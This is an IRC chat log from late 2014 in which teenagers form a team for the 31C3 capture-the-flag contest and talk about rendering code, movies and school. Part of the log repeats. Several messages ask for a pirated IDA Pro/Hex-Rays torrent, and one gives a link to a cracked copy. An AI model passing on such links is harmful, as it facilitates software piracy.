[2014-12-26T20:13:17-0500] <ubuntor> wait, usual group isn't doing 31c3?
[2014-12-26T20:13:17-0500] <alokpathy> alokmini :D
[2014-12-26T20:13:20-0500] <@awe> alokpathy: Lauren said thank you, anyway.
[2014-12-26T20:13:44-0500] <alokpathy> awe: Nice xD
[2014-12-26T20:15:27-0500] <+Tamini> alokpathy: Iunno, any ideas?
[2014-12-26T20:15:36-0500] <alokpathy> Tamini: alokmini?
[2014-12-26T20:15:39-0500] <alokpathy> Tamini: Tampathy
[2014-12-26T20:15:42-0500] <+Tamini> I feel like a reference to the Interview would be fitting but inappropriate
[2014-12-26T20:15:47-0500] <+Tamini> alokmini is really cute, lol
[2014-12-26T20:15:53-0500] <alokpathy> Let's make it that xD
[2014-12-26T20:15:57-0500] <+Tamini> I could totally buy that
[2014-12-26T20:16:05-0500] <+Tamini> okay, yay
[2014-12-26T20:16:12-0500] <alokpathy> Uhh
[2014-12-26T20:16:17-0500] <alokpathy> email and password?
[2014-12-26T20:17:06-0500] <+Tamini> uhh
[2014-12-26T20:17:14-0500] <+Tamini> anything will do
[2014-12-26T20:17:16-0500] <+Tamini> just pm me it 
[2014-12-26T20:30:20-0500] <+Tamini> bob_twinkles: are we doing gits/bkp/other
[2014-12-27T00:09:08-0500] <Pharyngeal> alokpathy: awe: Hi
[2014-12-27T00:22:50-0500] <nezorg> so I got my random rendering thing to do actual tracking and proper rendering with the Rift :D
[2014-12-27T00:23:28-0500] <ubuntor> ooh, nice
[2014-12-27T00:30:34-0500] <+JacobEdelman> ||'+"='90[
[2014-12-27T00:30:44-0500] <+JacobEdelman> wait
[2014-12-27T00:30:50-0500] <+JacobEdelman> whyd I type that?
[2014-12-27T00:30:56-0500] <+JacobEdelman> weird keyboard
[2014-12-27T00:31:03-0500] <+JacobEdelman> I want my computer back
[2014-12-27T00:31:29-0500] <+LittleBobbyTables> I love my keyboard
[2014-12-27T00:31:31-0500] <+LittleBobbyTables> and computer
[2014-12-27T00:31:32-0500] <+LittleBobbyTables> and monitor
[2014-12-27T00:32:09-0500] <+JacobEdelman> alokpathy: can I join your 31C3 team?
[2014-12-27T00:32:59-0500] <+Tamini> JacobEdelman: do you mind that it's called alokmini?
[2014-12-27T00:33:25-0500] <+JacobEdelman> ....
[2014-12-27T00:33:29-0500] <+JacobEdelman> why not B?
[2014-12-27T00:33:45-0500] <+JacobEdelman> I'd prefer B, its the number we are on
[2014-12-27T00:33:48-0500] <+Tamini> because its not a wwp thing
[2014-12-27T00:33:50-0500] <+Tamini> its a alokmini thing
[2014-12-27T00:34:11-0500] <+JacobEdelman> ... except jacob is included
[2014-12-27T00:34:12-0500] <+JacobEdelman> fine
[2014-12-27T00:34:19-0500] <+JacobEdelman> it can be called alokmini
[2014-12-27T00:34:26-0500] <+Tamini> lol
[2014-12-27T00:34:26-0500] <+JacobEdelman> as long as
[2014-12-27T00:34:33-0500] <+JacobEdelman> that o if from jacob
[2014-12-27T00:34:38-0500] <+JacobEdelman> *is from
[2014-12-27T00:34:46-0500] <+JacobEdelman> k? :P
[2014-12-27T00:35:39-0500] <+Tamini> lol
[2014-12-27T00:35:50-0500] <+Tamini> ask alokpathy when he's up, i'm okay with him
[2014-12-27T00:35:53-0500] <+Tamini> leave him mail
[2014-12-27T00:36:35-0500] <+JacobEdelman> @tell alokpathy can I join your 31C3 team? Tamini says its okay. (the name you have is fine, as long as the o in alokmini is from jacob :P )
[2014-12-27T00:36:35-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-27T00:37:55-0500] <@awe> Pharyngeal: how's it going?
[2014-12-27T00:38:10-0500] <@awe> Pharyngeal: how was finals?
[2014-12-27T00:43:50-0500] <+JacobEdelman> gnight all
[2014-12-27T00:47:42-0500] <@awe> good night, JacobEdelman
[2014-12-27T01:11:13-0500] <nezorg> I feel so left out
[2014-12-27T01:11:25-0500] <nezorg> ...then again that's completely of my own doing :P
[2014-12-27T01:11:59-0500] <hardmath123> Heh, self-ostracization.
[2014-12-27T01:12:06-0500] <hardmath123> We're all familiar with that.
[2014-12-27T01:12:07-0500] <hardmath123> :)
[2014-12-27T01:12:18-0500] <+Tamini> lol, how come?
[2014-12-27T01:12:23-0500] <+Tamini> we love you.
[2014-12-27T01:12:26-0500] <+Tamini> dont feel too bad
[2014-12-27T01:19:33-0500] <nezorg> I've been too focused :P
[2014-12-27T01:20:39-0500] <+Tamini> hehe
[2014-12-27T01:20:41-0500] <+Tamini> on what?
[2014-12-27T01:21:30-0500] <nezorg> my rendering stuff
[2014-12-27T01:21:34-0500] <+Tamini> ah
[2014-12-27T01:21:35-0500] <nezorg> opengl is annoying
[2014-12-27T01:21:39-0500] <+Tamini> yeah, I've heard
[2014-12-27T01:21:47-0500] <+Tamini> darn, can i see some of the prettness
[2014-12-27T01:22:38-0500] <ubuntor> nezorg: are you using any fancy features of opengl?
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[2014-12-27T01:26:13-0500] <nezorg> Tamini: https://i.imgur.com/zzm9Ljn.jpg
[2014-12-27T01:26:23-0500] <nezorg> ubuntor: what constitues fancy?
[2014-12-27T01:26:30-0500] <nezorg> *constitutes
[2014-12-27T01:27:25-0500] <ubuntor> i guess anything introduces in opengl 3.2 or higher?
[2014-12-27T01:27:30-0500] <ubuntor> *introduced
[2014-12-27T01:27:54-0500] <ubuntor> also that's really neat
[2014-12-27T01:28:17-0500] <nezorg> no, then, not fancy yet :P
[2014-12-27T01:28:30-0500] <nezorg> I'm using 3.3 core though
[2014-12-27T01:28:55-0500] <ubuntor> ah, ok
[2014-12-27T01:29:46-0500] <nezorg> text rendering was a bitch though
[2014-12-27T01:33:12-0500] <ubuntor> sdl?
[2014-12-27T01:34:16-0500] <nezorg> no, based on freetype
[2014-12-27T01:35:58-0500] <ubuntor> doesn't sound fun :/
[2014-12-27T01:40:51-0500] <hardmath123> Does literate haskell count as literate if you end up swearing in the comments? :P
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[2014-12-27T02:42:45-0500] <@awe> hardmath123: Sure.
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[2014-12-27T09:47:34-0500] <+JacobEdelman> I have rearrived
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[2014-12-27T10:15:49-0500] <alokpathy> JacobEdelman: Sure
[2014-12-27T10:15:49-0500] <mailbot> alokpathy: 9 hours ago, JacobEdelman said can I join your 31C3 team? Tamini says its okay. (the name you have is fine, as long as the o in alokmini is from jacob :P ).
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[2014-12-27T10:20:41-0500] <Pharyngeal> awe: Finals were decent, and it's been real busy. I'm currently visiting some family.
[2014-12-27T10:46:19-0500] <+JacobEdelman> good
[2014-12-27T10:46:35-0500] <+JacobEdelman> (that good was to alokpathy)
[2014-12-27T10:46:51-0500] <+JacobEdelman> alokpathy: Im kinda having to cram in the math hw stuffs for hmmt practicwe
[2014-12-27T10:46:55-0500] <+JacobEdelman> *practice
[2014-12-27T10:47:50-0500] <alokpathy> JacobEdelman: >:|
[2014-12-27T10:48:14-0500] <alokpathy> JacobEdelman: Oh could you print out an extra copy of both tests? I have no ink.
[2014-12-27T10:49:09-0500] <+JacobEdelman> possibly
[2014-12-27T10:49:12-0500] <+JacobEdelman> not at the moment
[2014-12-27T10:49:17-0500] <+JacobEdelman> if I get a chance before I leave
[2014-12-27T10:49:25-0500] <+JacobEdelman> right now I'm just using them on the computer
[2014-12-27T10:49:29-0500] <+JacobEdelman> not printing them
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[2014-12-27T11:04:48-0500] <+JacobEdelman> .... what?
[2014-12-27T11:04:50-0500] <+JacobEdelman> how
[2014-12-27T11:04:51-0500] <+JacobEdelman> why?
[2014-12-27T11:05:01-0500] <+JacobEdelman> groot!!!!!!!!!!!!!!!!!!!!!
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[2014-12-27T11:21:15-0500] <alokpathy> JacobEdelman: It's just like the movie :'(
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[2014-12-27T11:25:49-0500] <+JacobEdelman> groot, you back buddy?
[2014-12-27T11:25:49-0500] <groot-bot> I am groot!
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[2014-12-27T11:27:09-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2014-12-27T11:27:09-0500] Set by awe on December 26, 2014 at 2:26:46 PM EST
[2014-12-27T02:42:45-0500] <@awe> hardmath123: Sure.
[2014-12-27T09:47:34-0500] <+JacobEdelman> I have rearrived
[2014-12-27T10:15:49-0500] <alokpathy> JacobEdelman: Sure
[2014-12-27T10:15:49-0500] <mailbot> alokpathy: 9 hours ago, JacobEdelman said can I join your 31C3 team? Tamini says its okay. (the name you have is fine, as long as the o in alokmini is from jacob :P ).
[2014-12-27T10:20:41-0500] <Pharyngeal> awe: Finals were decent, and it's been real busy. I'm currently visiting some family.
[2014-12-27T10:46:19-0500] <+JacobEdelman> good
[2014-12-27T10:46:35-0500] <+JacobEdelman> (that good was to alokpathy)
[2014-12-27T10:46:51-0500] <+JacobEdelman> alokpathy: Im kinda having to cram in the math hw stuffs for hmmt practicwe
[2014-12-27T10:46:55-0500] <+JacobEdelman> *practice
[2014-12-27T10:47:50-0500] <alokpathy> JacobEdelman: >:|
[2014-12-27T10:48:14-0500] <alokpathy> JacobEdelman: Oh could you print out an extra copy of both tests? I have no ink.
[2014-12-27T10:49:09-0500] <+JacobEdelman> possibly
[2014-12-27T10:49:12-0500] <+JacobEdelman> not at the moment
[2014-12-27T10:49:16-0500] <+JacobEdelman> if I get a chance before I leave
[2014-12-27T10:49:25-0500] <+JacobEdelman> right now I'm just using them on the computer
[2014-12-27T10:49:29-0500] <+JacobEdelman> not printing them
[2014-12-27T11:04:47-0500] <+JacobEdelman> .... what?
[2014-12-27T11:04:49-0500] <+JacobEdelman> how
[2014-12-27T11:04:51-0500] <+JacobEdelman> why?
[2014-12-27T11:05:01-0500] <+JacobEdelman> groot!!!!!!!!!!!!!!!!!!!!!
[2014-12-27T11:21:15-0500] <alokpathy> JacobEdelman: It's just like the movie :'(
[2014-12-27T11:25:49-0500] <+JacobEdelman> groot, you back buddy?
[2014-12-27T11:25:49-0500] <groot-bot> I am groot!
[2014-12-27T11:25:54-0500] <+JacobEdelman> yeah!
[2014-12-27T11:27:09-0500] Mode is +ns
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[2014-12-27T11:28:34-0500] <+JacobEdelman> @tell hardmath123 can you install node and npm by chance on backtick.town
[2014-12-27T11:28:35-0500] <+JacobEdelman> also
[2014-12-27T11:28:40-0500] <+JacobEdelman> pdgn is broken
[2014-12-27T11:28:49-0500] <+JacobEdelman> wow
[2014-12-27T11:28:58-0500] <+JacobEdelman> why are all the bots leaving all of a sudden?
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[2014-12-27T11:42:44-0500] <alokpathy> JacobEdelman: They're starting a revolution. 
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[2014-12-27T11:49:31-0500] <jwoglom> i keep dis and re-connecting
[2014-12-27T11:49:33-0500] <jwoglom> is something broke?
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[2014-12-27T12:44:05-0500] <hardmath123> So
[2014-12-27T12:45:31-0500] <hardmath123> I just had 3 consecutive nights of nightmares about being a hostage. First in a planet-of-the-apes scenario, then in a trapped-in-a-bus-surrounded-by-terrorists-with-guns scenario, and last night in a trapped-in-a-classroom-with-hostile-aliens scenario.
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[2014-12-27T14:27:17-0500] <+LittleBobbyTables> !start
[2014-12-27T14:27:17-0500] <&Pidgey> You need at least five players to play.
[2014-12-27T14:27:19-0500] <+LittleBobbyTables> :(
[2014-12-27T14:29:59-0500] <alokpathy> !join
[2014-12-27T14:29:59-0500] <&Pidgey> You've already joined this game!
[2014-12-27T14:30:01-0500] <alokpathy> :(
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[2014-12-27T14:30:41-0500] Pidgey sets mode +v alokpathy
[2014-12-27T14:50:07-0500] <+alokpathy> Tamini: 31c3 starts soon.
[2014-12-27T15:00:03-0500] <Tamini> alokpathy: hullo
[2014-12-27T15:02:40-0500] <Tamini> oh lol wait there are tabs
[2014-12-27T15:02:56-0500] <Tamini> i was like "why is everything exploitation"
[2014-12-27T15:09:22-0500] <+alokpathy> xD
[2014-12-27T15:12:41-0500] <Tamini> damn
[2014-12-27T15:12:44-0500] <Tamini> why is this like
[2014-12-27T15:12:45-0500] <Tamini> nontrivial
[2014-12-27T15:15:21-0500] <+alokpathy> Darn
[2014-12-27T15:15:28-0500] <+alokpathy> Er hang on I'm playing Risk LOL
[2014-12-27T15:15:37-0500] <+alokpathy> I'll do stuff later today
[2014-12-27T15:16:11-0500] <Tamini> LOL ok
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[2014-12-27T15:38:06-0500] <hardmath123> awe: https://github.com/Hardmath123/haskell-lambda-calculus
[2014-12-27T15:39:16-0500] <+JacobEdelman> this irc seems broken
[2014-12-27T15:39:19-0500] <+JacobEdelman> connecting is hard
[2014-12-27T15:39:29-0500] <+JacobEdelman> and several people are getting disconnected randomly
[2014-12-27T15:39:42-0500] <+JacobEdelman> especially bots
[2014-12-27T15:53:17-0500] <+alokpathy> Does anybody have a good 64-bit HexRays torrent?
[2014-12-27T15:54:23-0500] <+alokpathy> Well, IDA Pro w/ Hex Rays preferably 
[2014-12-27T17:11:36-0500] <ubuntor> can i join your team, or is it too late for that?
[2014-12-27T17:13:14-0500] <+alokpathy> I think it's fine.
[2014-12-27T17:13:25-0500] <+alokpathy> JacobEdelman: Tamini ^^?
[2014-12-27T17:16:29-0500] <+LittleBobbyTables> alokpathy: they tend to not put those out for torrents, because each build is watermarked
[2014-12-27T17:17:00-0500] <+alokpathy> :(
[2014-12-27T17:17:26-0500] <+alokpathy> So nobody decompiles 64-bit ELFs in CTFs? 
[2014-12-27T17:17:30-0500] <ubuntor> alokpathy: there is a good one
[2014-12-27T17:17:35-0500] <ubuntor> try oldpiratebay
[2014-12-27T17:18:09-0500] <ubuntor> 64 bit ida
[2014-12-27T17:18:44-0500] <+alokpathy> oldpiratebay.org?
[2014-12-27T17:19:01-0500] <ubuntor> yeah
[2014-12-27T17:19:02-0500] <+LittleBobbyTables> Piratebay didn't have one to decompile 64bits
[2014-12-27T17:19:07-0500] <+alokpathy> There's only one result, which has one seeder .-.
[2014-12-27T17:19:46-0500] <ubuntor> https://oldpiratebay.org/torrent/6100566/IDA-Pro-Advanced-Edition-v6-1-Full-Portable-x86-x64-rar
[2014-12-27T17:19:47-0500] <ubuntor> ?
[2014-12-27T17:20:20-0500] <+alokpathy> That one didn't come up lolwut
[2014-12-27T17:20:25-0500] <+LittleBobbyTables> 64bit version != decompile 64bit exe's
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[2014-12-27T17:25:09-0500] <Tamini_> alokpathy: hello :O
[2014-12-27T17:25:22-0500] <+alokpathy> Tamini_: Hillo
[2014-12-27T17:25:31-0500] <Tamini_> did you progress
[2014-12-27T17:25:37-0500] <Tamini_> did jacob progress
[2014-12-27T17:27:41-0500] <+alokpathy> I did not
[2014-12-27T17:28:05-0500] <Tamini_> :(
[2014-12-27T17:38:40-0500] <+alokpathy> Tamini_: Oh are you okay with having ubuntor on our team?
[2014-12-27T17:39:01-0500] <+alokpathy> I'll just assume JacobEdelman is
[2014-12-27T17:39:15-0500] <Tamini_> lol
[2014-12-27T17:39:20-0500] <Tamini_> jacob has no rights
[2014-12-27T17:43:44-0500] <Tamini_> yea sure
[2014-12-27T17:43:50-0500] <Tamini_> the more the merrier amirite
[2014-12-27T17:43:56-0500] <+LittleBobbyTables> WOW THANKS TAMINI
[2014-12-27T17:43:58-0500] <+LittleBobbyTables> SO MEAN
[2014-12-27T17:46:21-0500] <ubuntor> creds?
[2014-12-27T17:46:40-0500] <Tamini_> LittleBobbyTables: lol not you, JacobEdelman
[2014-12-27T17:46:42-0500] <Tamini_> <3
[2014-12-27T17:46:48-0500] <Tamini_> you're amazing jacob obv
[2014-12-27T17:46:57-0500] <Tamini_> alokpathy: hes going to laugh at our creds i know it :<
[2014-12-27T17:47:46-0500] <+alokpathy> creds?
[2014-12-27T17:56:11-0500] <ubuntor> sweet, got 5chan
[2014-12-27T18:01:49-0500] <Tamini_> alokpathy: omg
[2014-12-27T18:01:58-0500] <Tamini_> so im at work and people are watching the interview
[2014-12-27T18:02:11-0500] <Tamini_> and someone just said "all asians are north korean"
[2014-12-27T18:03:28-0500] <+alokpathy> ubuntor: Nice
[2014-12-27T18:03:30-0500] <+alokpathy> Tamini_: lololol
[2014-12-27T18:03:35-0500] <+alokpathy> XD
[2014-12-27T18:03:39-0500] <+alokpathy> Wait you have a job?
[2014-12-27T18:06:00-0500] <Tamini_> yeaaa
[2014-12-27T18:06:06-0500] <Tamini_> like not super legit but
[2014-12-27T18:06:16-0500] <Tamini_> brings in $$
[2014-12-27T18:06:25-0500] <Tamini_> duuude i need a summer job
[2014-12-27T18:06:32-0500] <Tamini_> hook me up w/ bloomburg pls
[2014-12-27T18:06:44-0500] <Tamini_> bloomberg*
[2014-12-27T18:07:56-0500] <+alokpathy> Come up to Princeton and work in the Princeton office with me :P
[2014-12-27T18:13:19-0500] <Tamini_> hehe
[2014-12-27T18:13:24-0500] <Tamini_> get me a job and i would
[2014-12-27T18:45:49-0500] <+alokpathy> XD
[2014-12-27T18:51:28-0500] <Tamini_> no srsly
[2014-12-27T18:51:34-0500] <Tamini_> pls get me job :(
[2014-12-27T18:56:31-0500] <+alokpathy> :|
[2014-12-27T18:56:39-0500] <+alokpathy> I mean, I haven't started yet
[2014-12-27T18:56:47-0500] <+alokpathy> so I'm not sure what I can do.
[2014-12-27T19:01:57-0500] <+alokpathy> Oh look 1064CBread is doing 31c3
[2014-12-27T19:01:59-0500] <+alokpathy> cough nezorg 
[2014-12-27T19:05:40-0500] <Tamini_> cough
[2014-12-27T19:05:48-0500] <Tamini_> he doesnt come on during ctfs tho
[2014-12-27T19:05:53-0500] <Tamini_> one sec
[2014-12-27T19:07:06-0500] <Tamini_> lol ppp
[2014-12-27T19:07:26-0500] <Tamini_> also alokpathy what place is cbread
[2014-12-27T19:07:46-0500] <+alokpathy> 113
[2014-12-27T19:17:17-0500] <+LittleBobbyTables> d'awww, thanks tamini <3
[2014-12-27T19:20:25-0500] <Tamini_> daww we're ahead of them :P
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[2014-12-27T21:38:17-0500] <@awe> [15:39:16]  <+JacobEdelman>	this irc seems broken
[2014-12-27T21:38:20-0500] <@awe> erm.
[2014-12-27T21:38:21-0500] <@awe> He's gone.
[2014-12-27T21:38:51-0500] <@awe> Well, for the record, judging from the fact that everything else disconnected several times on other IRC networks, I suspect DO had some outage today.
[2014-12-27T21:40:43-0500] <hardmath123> awe: in case you didn't get the highlight, http://github.com/Hardmath123/haskell-lambda-calculus :D
[2014-12-27T21:40:53-0500] <@awe> I saw it.
[2014-12-27T22:35:47-0500] <Pharyngeal> Hi awe 
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[2014-12-27T22:50:46-0500] Pidgey sets mode +v JacobEdelman
[2014-12-27T22:51:18-0500] <+JacobEdelman> wait of 31c3 is happening right now?
[2014-12-27T22:52:30-0500] <hardmath123> JacobEdelman: installed node and npm, just for you :)
[2014-12-27T22:52:40-0500] <+JacobEdelman> ah, thanks!
[2014-12-27T22:54:23-0500] <+alokpathy> JacobEdelman: Yes, it is.
[2014-12-27T22:54:31-0500] <+alokpathy> JacobEdelman: ubuntor is with us too.
[2014-12-27T22:55:38-0500] <+JacobEdelman> oh
[2014-12-27T22:55:44-0500] <+JacobEdelman> I'll do some tommorow
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[2014-12-27T23:23:27-0500] <+alokpathy> Welcome back Tamini 
[2014-12-27T23:30:27-0500] <Tamini_> hello captn'
[2014-12-27T23:30:32-0500] <Tamini_> :D
[2014-12-27T23:32:09-0500] <+alokpathy> Lol I'm watching HP6
[2014-12-27T23:32:17-0500] <Tamini_> lolol how is it
[2014-12-27T23:32:21-0500] <Tamini_> ive never seen 6
[2014-12-27T23:32:30-0500] <+alokpathy> It's p intense
[2014-12-27T23:32:38-0500] <+alokpathy> Lol yeah HP6 was the last movie I saw
[2014-12-27T23:32:41-0500] <+alokpathy> in the series.
[2014-12-27T23:32:49-0500] <+alokpathy> I read/watched HP in a weird order LOL
[2014-12-27T23:34:33-0500] <Tamini_> lolol
[2014-12-27T23:34:39-0500] <Tamini_> i read uh
[2014-12-27T23:34:43-0500] <Tamini_> 7612354
[2014-12-27T23:34:53-0500] <Tamini_> there's a story to this LOL
[2014-12-27T23:37:04-0500] <+alokpathy> wait wtf why LOL
[2014-12-27T23:37:46-0500] <+alokpathy> Also HP6 is on ABC Family sometime tomorrow again. You should watch :
[2014-12-27T23:37:48-0500] <+alokpathy> :P
[2014-12-27T23:38:59-0500] <Tamini_> in new york :P
[2014-12-27T23:39:41-0500] <+alokpathy> Irrelevant 
[2014-12-27T23:42:04-0500] <+alokpathy> Aw
[2014-12-27T23:42:07-0500] <+alokpathy> Dumbledore died
[2014-12-27T23:42:08-0500] <+alokpathy> :(
[2014-12-27T23:44:41-0500] <Tamini_> wow spoilers
[2014-12-27T23:44:48-0500] <Tamini_> and also ok so the first hp book i read was
[2014-12-27T23:45:01-0500] <Tamini_> hp7 because my best friend dragged me to midnight release
[2014-12-27T23:45:04-0500] <+alokpathy> Tamini: You had to have known, right? 
[2014-12-27T23:45:19-0500] <Tamini_> it didnt make sense so i read 6
[2014-12-27T23:45:31-0500] <Tamini_> then i was like "whoa i wanna read all of it" so 123
[2014-12-27T23:45:40-0500] <Tamini_> then i couldnt find 4 so i read 5 first
[2014-12-27T23:45:41-0500] <Tamini_> LOL
[2014-12-27T23:45:47-0500] <+alokpathy> Oh xD
[2014-12-27T23:45:51-0500] <+alokpathy> I read uh
[2014-12-27T23:46:01-0500] <+alokpathy> 3124576
[2014-12-27T23:46:16-0500] <Tamini_> wat
[2014-12-27T23:46:20-0500] <Tamini_> thats worse LOL
[2014-12-27T23:46:28-0500] <+alokpathy> Better than starting with 7 LOL
[2014-12-27T23:46:32-0500] <Tamini_> HEY
[2014-12-27T23:46:40-0500] <Tamini_> if we so this by levenstein distance
[2014-12-27T23:46:56-0500] <Tamini_> wait shit mine's worse
[2014-12-27T23:47:00-0500] <+alokpathy> :PPPPP
[2014-12-27T23:47:07-0500] <Tamini_> wait no lemme see
[2014-12-27T23:47:16-0500] <Tamini_> 7612354
[2014-12-27T23:47:22-0500] <Tamini_> delete 6,7,4
[2014-12-27T23:47:32-0500] <Tamini_> reinsert 6,7,4
[2014-12-27T23:47:37-0500] <Tamini_> thats not bad
[2014-12-27T23:47:48-0500] <+alokpathy> Well, yours has 
[2014-12-27T23:47:49-0500] <+alokpathy> 12 inversions
[2014-12-27T23:47:50-0500] <+alokpathy> mine has
[2014-12-27T23:47:58-0500] <Tamini_> you only need to shift 3, 6
[2014-12-27T23:48:05-0500] <+alokpathy> :P
[2014-12-27T23:48:09-0500] <Tamini_> also what the hell
[2014-12-27T23:48:17-0500] <+alokpathy> I started with 3 'cause that's the only book we had at the time
[2014-12-27T23:48:24-0500] <+alokpathy> went 1245
[2014-12-27T23:48:24-0500] <Tamini_> who does levenstein with inverting
[2014-12-27T23:48:28-0500] <+alokpathy> 12345*
[2014-12-27T23:48:40-0500] <+alokpathy> Tamini_: Nobody. It's just a different metric.
[2014-12-27T23:48:49-0500] <+alokpathy> and then I was too excited so I read 7 before 6
[2014-12-27T23:48:50-0500] <Tamini_> alokpathy: i know, im just saying
[2014-12-27T23:48:58-0500] <Tamini_> i alluded to levenstein before lol
[2014-12-27T23:49:01-0500] <Tamini_> and Lol
[2014-12-27T23:49:06-0500] <Tamini_> i never read hp until hp7
[2014-12-27T23:49:36-0500] <+alokpathy> Which is very weird xDC
[2014-12-27T23:49:47-0500] <+alokpathy> That's like what Colbert said on his last ep
[2014-12-27T23:49:59-0500] <+alokpathy> "If you're tuning into my show for the first time, I have some bad news for you."
[2014-12-27T23:51:23-0500] <Tamini_> LOL
[2014-12-27T23:51:31-0500] <Tamini_> that was the second one i watched, heh
[2014-12-27T23:51:40-0500] <+alokpathy> LOL
[2014-12-27T23:51:48-0500] <Tamini_> but like okay sometime
[2014-12-27T23:51:56-0500] <+alokpathy> Oh wow Hunger Games is on Monday on ABC Family
[2014-12-27T23:52:08-0500] <Tamini_> you need to skype me and show me exactly how you specifically approach explotation/binaries
[2014-12-27T23:52:09-0500] <Tamini_> and ooh
[2014-12-27T23:52:14-0500] <Tamini_> first one?
[2014-12-27T23:52:18-0500] <+alokpathy> Yeah
[2014-12-27T23:52:29-0500] <+alokpathy> I haven't watched or read that series.
[2014-12-27T23:52:44-0500] <Tamini_> the first book is okay, goes downhill from there
[2014-12-27T23:52:46-0500] <+alokpathy> Also, nezorg would probably be a better person to ask :P
[2014-12-27T23:52:53-0500] <+alokpathy> Also because he did that seminar thing.
[2014-12-27T23:52:58-0500] <Tamini_> oh right
[2014-12-27T23:53:03-0500] <Tamini_> he was supposed to show me that
[2014-12-27T23:53:11-0500] <+alokpathy> nezorg: Show us the seminar
[2014-12-27T23:53:48-0500] <Tamini_> he read my snap and never responded
[2014-12-27T23:54:04-0500] <Tamini_> and lol i want to learn from a human prodigy before i learn from a god <3
[2014-12-27T23:54:12-0500] <Tamini_> i need to prepare myself for nezorg
[2014-12-27T23:56:00-0500] <+JacobEdelman> lark 0.0.2 out
[2014-12-27T23:56:04-0500] <+JacobEdelman> with the new feature
[2014-12-27T23:56:09-0500] <+JacobEdelman> that you can write programs!
[2014-12-27T23:56:12-0500] <Tamini_> lol
[2014-12-27T23:56:14-0500] <+JacobEdelman> (i know, so advanced)
[2014-12-27T23:56:16-0500] <+JacobEdelman> :P
[2014-12-27T23:56:27-0500] <+alokpathy> Tamini_: I don't think I'm a prodigy LOL
[2014-12-27T23:56:44-0500] <+alokpathy> Tamini_: But I guess I could do that sometime in the future.
[2014-12-27T23:56:44-0500] <Tamini_> to me you areeeee <3
[2014-12-27T23:56:49-0500] <Tamini_> yay :D
[2014-12-27T23:56:57-0500] <Tamini_> after college apps are in and stuff
[2014-12-27T23:57:06-0500] <+alokpathy> JacobEdelman: nicenice
[2014-12-27T23:57:08-0500] <+JacobEdelman> Tamini_: alok also never beat you in any competition...
[2014-12-27T23:57:08-0500] <+alokpathy> Tamini_: Yeah LOL
[2014-12-27T23:57:15-0500] <Tamini_> also we should totally start a blog together <3
[2014-12-27T23:57:24-0500] <+JacobEdelman> I'm gonna start a community blog thing
[2014-12-27T23:57:25-0500] <Tamini_> JacobEdelman: i dont care, he's still brilliant? :P
[2014-12-27T23:57:26-0500] <+JacobEdelman> for pdgn
[2014-12-27T23:57:28-0500] <+alokpathy> JacobEdelman: Well, the team I was on beat her team at PUMaC.
[2014-12-27T23:57:38-0500] <+JacobEdelman> were you there then?
[2014-12-27T23:57:40-0500] <Tamini_> alokpathy: our school beat yours, psh
[2014-12-27T23:57:41-0500] <+alokpathy> JacobEdelman: If that counts.
[2014-12-27T23:57:49-0500] <+alokpathy> JacobEdelman: Yeah? It was last month...
[2014-12-27T23:57:50-0500] <+JacobEdelman> oh yeah
[2014-12-27T23:57:56-0500] <+JacobEdelman> true
[2014-12-27T23:58:02-0500] <+JacobEdelman> that counts
[2014-12-27T23:58:02-0500] <+alokpathy> Tamini_: Shush you basically had like
[2014-12-27T23:58:04-0500] <+alokpathy> 5 MOPpers
[2014-12-27T23:58:04-0500] <+JacobEdelman> I think
[2014-12-27T23:58:08-0500] <+alokpathy> that's essentially cheating.
[2014-12-27T23:58:11-0500] <+JacobEdelman> gnight
[2014-12-27T23:58:14-0500] <+alokpathy> JacobEdelman: G'night
[2014-12-27T23:58:20-0500] <Tamini_> hehe
[2014-12-27T23:58:23-0500] <Tamini_> gnight jacob
[2014-12-27T23:58:32-0500] <Tamini_> also yeah alokpathy: hardmath123 inspired me hard
[2014-12-27T23:58:59-0500] <Tamini_> to make an actual blog dedicated to math/cs/physics/general nerdiness
[2014-12-27T23:59:27-0500] <+alokpathy> Tamini_: omg where
[2014-12-27T23:59:41-0500] <Tamini_> alokpathy: still wip, :P
[2014-12-27T23:59:55-0500] <Tamini_> i have one post written, though
[2014-12-28T00:01:28-0500] <+alokpathy> Lemme see :D
[2014-12-28T00:01:34-0500] <+alokpathy> Also is TJCTF still happening?
[2014-12-28T00:06:48-0500] <Tamini_> lol yeah idk like
[2014-12-28T00:06:52-0500] <Tamini_> i have some complaints but
[2014-12-28T00:06:59-0500] <Tamini_> mostly seniors are flipping about college
[2014-12-28T00:07:04-0500] <Tamini_> more will happen later, i bet
[2014-12-28T00:08:52-0500] <+alokpathy> Well after Jan 1st they'll have time
[2014-12-28T00:11:49-0500] <Tamini_> yeah, but
[2014-12-28T00:11:54-0500] <Tamini_> i mean they have to panic then
[2014-12-28T00:14:07-0500] <+alokpathy> True
[2014-12-28T00:14:17-0500] <+alokpathy> but they can channel their panicking into CTF problems
[2014-12-28T00:15:28-0500] <Tamini_> haha yeah
[2014-12-28T00:15:39-0500] <Tamini_> i have more ezctf problems than tjctf problems written
[2014-12-28T00:15:41-0500] <Tamini_> is that bad
[2014-12-28T00:21:53-0500] <+alokpathy> Uhh
[2014-12-28T00:21:54-0500] <+alokpathy> not sure
[2014-12-28T00:21:55-0500] <+alokpathy> LOL
[2014-12-28T00:24:54-0500] <Tamini_> :P
[2014-12-28T00:25:00-0500] <Tamini_> i mean michael actually makes me like
[2014-12-28T00:25:02-0500] <Tamini_> do things
[2014-12-28T00:25:07-0500] <Tamini_> you need to help me write the thing tho
[2014-12-28T00:25:12-0500] <+alokpathy> The story?
[2014-12-28T00:25:42-0500] <+alokpathy> Omg I've watched 8 movies in my 4.5 days of break.
[2014-12-28T00:26:59-0500] <Tamini_> omg im so proud
[2014-12-28T00:27:00-0500] <Tamini_> LOL
[2014-12-28T00:27:05-0500] <Tamini_> uhh the ezctf story
[2014-12-28T00:27:18-0500] <Tamini_> im apparently not allowed to like talk about north korea
[2014-12-28T00:27:19-0500] <Tamini_> :(
[2014-12-28T00:28:06-0500] <+alokpathy> ?
[2014-12-28T00:28:09-0500] <+alokpathy> I'm confused.
[2014-12-28T00:30:56-0500] <Tamini_> i wanted to allude to ddosing north korea
[2014-12-28T00:31:03-0500] <Tamini_> michael wouldnt let me.
[2014-12-28T00:31:28-0500] <+alokpathy> Aw but why?
[2014-12-28T00:34:40-0500] <nezorg> the US ddosed the north, it's fair game
[2014-12-28T00:37:31-0500] <Tamini_> i was trying to reference that
